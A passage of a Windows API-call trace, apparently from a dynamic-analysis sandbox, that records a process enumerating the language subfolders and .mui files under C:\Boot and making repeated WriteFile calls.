	[0078.591] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.591] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.591] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.591] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0078.591] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.591] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS" (normalized: "c:\\boot\\sr-latn-cs"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.592] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS" (normalized: "c:\\boot\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.592] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.592] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.592] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.592] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.592] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.592] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.592] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.592] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0078.643] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.643] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58)) returned 1
	[0078.643] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.643] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-RS" (normalized: "c:\\boot\\sr-latn-rs"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.644] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS" (normalized: "c:\\boot\\sr-latn-rs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.644] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.644] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.644] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.644] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.644] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.644] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.644] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0078.644] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.644] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.686] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.687] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.687] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.687] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.687] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.687] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.687] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.687] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.687] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960)) returned 1
	[0078.687] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.688] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98)) returned 1
	[0078.688] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.688] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.688] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.688] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.688] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.688] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.688] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.688] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.688] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.688] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.689] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558)) returned 1
	[0078.772] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.772] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0078.773] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.773] GetFileAttributesExW (in: lpFileName="C:\\Boot\\uk-UA" (normalized: "c:\\boot\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.773] CreateFileW (lpFileName="C:\\Boot\\uk-UA" (normalized: "c:\\boot\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.773] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.773] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.773] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.773] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.773] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.774] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
